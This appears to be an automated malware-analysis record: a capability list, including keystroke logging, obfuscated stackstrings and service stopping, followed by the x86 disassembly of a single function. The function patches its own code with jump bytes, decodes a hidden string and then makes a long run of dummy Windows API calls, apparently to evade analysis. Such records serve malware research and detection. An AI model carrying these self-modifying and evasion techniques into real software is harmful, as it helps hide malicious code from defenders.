Function at 0xaac000
Capabilities:
Accept command line arguments
Allocate thread local storage
Contain obfuscated stackstrings
Create directory
Create pipe
Create process on windows
Create thread
Delete directory
Delete file
Delete registry value
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get file size
Get file system object information
Get geographical location
Get graphical window text
Get memory capacity
Identify system language via api
Log keystrokes
Query environment variable
Query or enumerate registry value
Read .ini file
Resume thread
Set environment variable
Set registry value
Set thread local storage value
Stop service
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x10], 0xaacc53
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaac036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaac1b2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaac0b8
call fcn.0048a422
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaac07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaac094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaac094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaac04a
mov byte [ebp - 0x68], 0
mov byte [ebp - 0x67], 0x73
mov byte [ebp - 0x66], 0xa
mov byte [ebp - 0x65], 0xd7
mov byte [ebp - 0x64], 0x51
mov byte [ebp - 0x63], 0xa2
mov byte [ebp - 0x62], 0x68
mov byte [ebp - 0x61], 0x18
mov byte [ebp - 0x60], 0x71
mov byte [ebp - 0x5f], 0xde
mov byte [ebp - 0x5e], 0x20
mov byte [ebp - 0x5d], 0xeb
mov byte [ebp - 0x5c], 2
mov byte [ebp - 0x5b], 0x71
mov byte [ebp - 0x5a], 9
mov byte [ebp - 0x59], 0x6e
mov byte [ebp - 0x58], 6
mov byte [ebp - 0x57], 0x75
mov byte [ebp - 0x56], 1
mov byte [ebp - 0x55], 0x7e
mov byte [ebp - 0x54], 5
mov byte [ebp - 0x53], 0x74
mov byte [ebp - 0x52], 7
mov byte [ebp - 0x51], 0x6e
mov byte [ebp - 0x50], 8
mov byte [ebp - 0x4f], 0x7f
mov byte [ebp - 0x4e], 4
mov byte [ebp - 0x4d], 0x88
mov byte [ebp - 0x4c], 3
mov byte [ebp - 0x4b], 0x33
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaac142
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1e
jae 0xaac1a7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x68]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaac16e
mov dword [ebp - 0x24], 0xa
mov eax, dword [ebp - 8]
add eax, 8
mov dword [ebp - 8], eax
jmp 0xaac13a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x67]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaac196
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaac183
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x68]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaac13a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa0b0a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00406e3b
mov ecx, eax
call fcn.004025c8
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.0040256c
and dword [ebp - 0x1c], 0
jmp 0xaac1ea
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaac1fa
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaac1e3
push 0
push 0x117
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0
push 0
push 0x1fc
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0
push 0x667
push 0
push 0x1289
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
push 0x820
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 0x1f10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0
push 0x438
push 0x1e3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x1428
push 0
push 0x18e1
push 0x1469
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0xc29
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0xa78
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0
push 0x1a62
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0x999
push 0x235
push 0
push 0x1bec
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 1
push 0x16e0
push 0x2593
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0
push 0xb75
push 0xda5
push 0xc84
push 0xce1
push 0x1762
push 0x2616
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0xf72
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0x1cb6
push 0x153b
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0x92
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x4cd
push 0
push 0x26cd
push 0
push 0x33b
push 0x1b38
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x20f8
call dword [sym.imp.USER32.dll_GetKeyboardType]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
call dword [sym.imp.USER32.dll_EndMenu]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
push 0
push 0x1d3a
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x2189
push 0x6f5
push 0xd96
push 0x132c
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x289
push 0
push 0
push 0x1321
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0x300
push 0x59d
push 0x24cb
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
push 0
push 0xce9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x13e6
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
push 0
push 0x2019
push 0x1406
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
push 0x1b6a
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x1da5
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
push 0x1203
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
push 0
push 0x52
push 0x813
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x77
push 0
push 0x125e
push 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
push 0x78b
push 0x7c3
push 0x167a
push 0x21eb
push 0x19be
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0x6e7
push 0x15b1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0
push 0x11ab
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0
push 0x6c3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0x20e7
push 0
push 0xb0f
push 0x661
push 0xd0f
push 0
push 0x2c
push 0x6fb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
push 0
push 0xa6e
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0x69e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x23e6
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x1562
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push 0x1d98
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x1ebf
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0x22a1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
push 0xe
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0x22
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0x106f
push 0
push 0
push 0x10ac
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x124a
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0x184e
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
push 0x149a
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0
push 0
push 0x84
push 0x2574
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
push 0
push 0x19d2
push 0x5d3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0
push 0xbd1
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
push 0x1791
push 0xd90
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
push 0x2231
push 0x24e8
push 0x1fe6
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push 0x1ec5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
push 0
push 0x7c8
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x196c
push 0x170b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 0
push 0xe8f
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0xe33
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0x16d0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0xcf
push 0xbcd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0
push 0x1c24
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x25f1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
push 0x191a
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
push 0x5d2
push 0
push 0x175
push 0
push 0x234
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push 0xe05
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x23ae
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 0
push 0x1b14
push 0
push 0x184e
push 0x1d1d
push 0
push 0x214e
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x24e9
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x20ba
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0x845
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0x1d7e
push 0x9b9
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x99f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0
push 0xfc6
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0
push 0x46d
push 0xa84
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0x2121
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x1d23
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0x169f
push 0
push 0x324
push 0x842
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 0x131c
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0x458
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push 0
push 0x24ac
push 0x1e72
push 0x1fe0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0
push 0x265d
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push 0xca7
push 0x191e
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0x526
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1f11
push 0x1fc7
push 0x1026
push 0x212b
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x1a2b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0
push 0x1fed
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 0x14be
push 0x244c
push 0
push 0x1bf0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push 0
push 0
push 0x1462
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push 0x1c1b
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
jmp 0xaacc5d
mov esp, ebp
pop ebp
ret